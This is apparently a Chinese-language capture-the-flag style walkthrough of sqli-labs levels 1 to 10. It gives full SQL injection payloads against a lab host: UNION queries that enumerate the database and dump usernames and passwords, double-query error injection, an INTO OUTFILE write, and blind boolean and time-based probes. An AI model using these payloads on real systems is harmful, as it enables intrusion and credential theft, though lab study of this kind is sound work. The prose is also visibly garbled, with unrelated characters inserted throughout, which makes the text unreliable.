Challenge 1:
手動加上參數(shù)id=1,然后自己手動加上',先測試他是什么類型驶俊,有可能數(shù)字參數(shù)桑滩,字符參數(shù)等,不一樣颠放。
這里順便說一下mysql注釋符號1.#?? 2.--+? 3./*...*/
結(jié)果如下:
發(fā)現(xiàn)limit0,1那里的1多了一個單引號排惨,說明是字符型注入,所以直接上
order by后面的需要加入數(shù)字碰凶,盡量從大數(shù)開始暮芭,比如order by 3能成功,order by 4不能成功欲低,因此說明字段數(shù)為3.
其實(shí)這里應(yīng)該這么理解辕宏,因?yàn)樗亲址妥⑷耄孕枰]合砾莱,因此我們加上'他會出錯瑞筐,所以可以直接判斷為字符型參數(shù)。而出現(xiàn)錯誤腊瑟,說明他沒有處理單引號聚假,所以有可能出現(xiàn)sql注入。
首先獲取數(shù)據(jù)庫名稱扫步,構(gòu)造payload如下所示:
http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20UNION%20SELECT%201,GROUP_CONCAT(SCHEMA_NAME),3%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20--+
結(jié)果如下:
這里注意一下魔策,union查詢是用于合并兩個或多個查詢語句的結(jié)果集,但是輸出只有兩個位置河胎,因此前面的id不能為真闯袒,因?yàn)槿绻钦娴脑挄霈F(xiàn)后面的位置無法輸出,因此這里的id=0'或者id=99999'都是可以的。
接著獲取表名:
payload: http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20UNION%20SELECT%201,GROUP_CONCAT(TABLE_NAME),3%20FROM%20INFORMATION_SCHEMA.TABLES%20%20where%20table_schema=0x7365637572697479--+
其中table_schema為“security”的十六進(jìn)制表示政敢,結(jié)果如下所示:
接著獲取列名:
payload:?? http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20UNION%20SELECT%201,GROUP_CONCAT(COLUMN_NAME),3%20FROM%20INFORMATION_SCHEMA.COLUMNS%20%20where%20table_name=0x7573657273--+
接著獲取數(shù)據(jù):
payload:http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20union%20select%201,group_concat(username,0x3a,password,0x20),3%20from%20security.users%20--+
結(jié)果如下所示:
Challenge 2:
這道題目是基于整數(shù)的注入其徙,按照第一道題目的思路,我們可以加上payload:id=1'發(fā)現(xiàn)出錯喷户,然后
再試下注釋后面額東西唾那,payload如下:id=1'--+發(fā)現(xiàn)還是出錯,就說明是肯定不是字符型褪尝,為整數(shù)型闹获,
我們順便科普一下兩個函數(shù),一個是group_concat:將列進(jìn)行合并為一列河哑,一個是concat:連接兩個或者多個不為一列的數(shù)組避诽。。
接著獲取數(shù)據(jù)庫名稱璃谨,payload如下所示:
http://43.245.223.123/sqli-labs/Less-2/?id=99%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20--+
如圖:
接著獲取表名:
payload構(gòu)造如下所示:
接著獲取字段名:
payload如下所示:
http://43.245.223.123/sqli-labs/Less-2/?id=99%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%22users%22%20--+
上圖:
接著獲取數(shù)據(jù):
payload:構(gòu)造如下
http://43.245.223.123/sqli-labs/Less-2/?id=99%20union%20select%201,group_concat(username,0x3a,password,0x20),3%20from%20security.users%20--+
結(jié)果如下:
Challenge 3:
第三個題目是單引號加上括號類型沙庐,主要是加上id=1時候沒出問題,然后用\來測試佳吞,發(fā)現(xiàn)如下:
發(fā)現(xiàn)報錯里面是有括號還有這是字符串類型拱雏,所以可以直接構(gòu)造payload:?id=1')--+直接就可以了。
然后就是獲取信息底扳,payload構(gòu)造如下所示:
http://43.245.223.123/sqli-labs/Less-3/?id=0%27)%20union%20select%201,group_concat(username,0x3a,password,0x20),3%20from%20security.users--+
然后就是結(jié)果如下:
這里注意注意一個問題铸抑,前面的id一定要等于一個不存在的值!;ㄑ巍O刍9阶ΑK阈尽!凳宙!
Challenge 4:
第四題經(jīng)過題目提示是雙引號字符串熙揍,然后我試了一下,如下:
我先試了一下氏涩,發(fā)現(xiàn)是有括號的參數(shù)輸入届囚,然后就是
沒加上注釋符號出錯,加上注釋符號就可以了說明后面被注釋掉了是尖,所以這么做是能成功繞過的意系。
Challenge 5:
這里更新一些Mysql的數(shù)據(jù)操作,上幾張圖:
show databases;?????? use database_name;? #記得后面都要加上饺汹;來結(jié)束
展示表的細(xì)節(jié)是desc table_name; 查詢某個數(shù)據(jù)庫特有的表如下:
可以構(gòu)造這樣的payload:http://43.245.223.123/sqli-labs/Less-1/?id=99999%27%20union%20select%201,table_name,current_user()%20from%20information_schema.tables%20where%20table_schema=%22security%22%20--+ ? 蛔添,效果如下圖:
直接得出表名和current_user,不知道數(shù)據(jù)庫名稱的話,可以直接用上database()代替進(jìn)行了.
但這道題目的重點(diǎn)是要進(jìn)行單引號雙注入查詢,因此可以進(jìn)行一波操作迎瞧。
payload如下所示:
http://43.245.223.123/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat((select%20database()),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a--+
challenge 6:
和第五題一樣夸溶,只不過包括的方式不同,主要還是訓(xùn)練你雙查詢注入凶硅,原理可以看另一篇文章
payload: http://43.245.223.123/sqli-labs/Less-6/?id=0%22%20union%20select%201,count(*),concat((select%20database()),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a--+
如下圖:
challenge 7:
第七題權(quán)限不夠缝裁,實(shí)現(xiàn)不了,不過可以寫寫如何做足绅,主要有兩個條件捷绑,首先要知道secure-file-priv的值,linux下面是放在my.cnf中氢妈,這文件在/etc下面胎食,然后就是要有root權(quán)限,或者這題目里面應(yīng)該說是寫權(quán)限允懂,才能成功執(zhí)行該語句,payload如下:
http://43.245.223.123/sqli-labs/Less-7/?id=1%22%20union%20select%201,2,database()%20into%20%20outfile%20%221.txt%22--+
challenge 8:
這道題目是基于布爾值的盲注厕怜,主要是你不能看到什么報錯信息,因此只能通過簡單的網(wǎng)頁顯示對錯來判斷蕾总,你可以構(gòu)造如下payload:?? http://43.245.223.123/sqli-labs/Less-8/?id=1%27%20and%20ascii(substr((select%20database()),1,1))%3C90--+
先猜數(shù)據(jù)庫名稱長度粥航,再猜名字字母,再猜數(shù)據(jù)庫表什么的生百,后面的就用sqlmap了递雀。
challenge 9:
這道題目主要是基于時間盲注,最常用的函數(shù)是if函數(shù)和sleep函數(shù)蚀浆,用法如下:
主要用and來連接缀程,理解了就沒啥好說的。
Challenge 10:
這道題是雙引號閉合市俊,沒啥說的杨凑。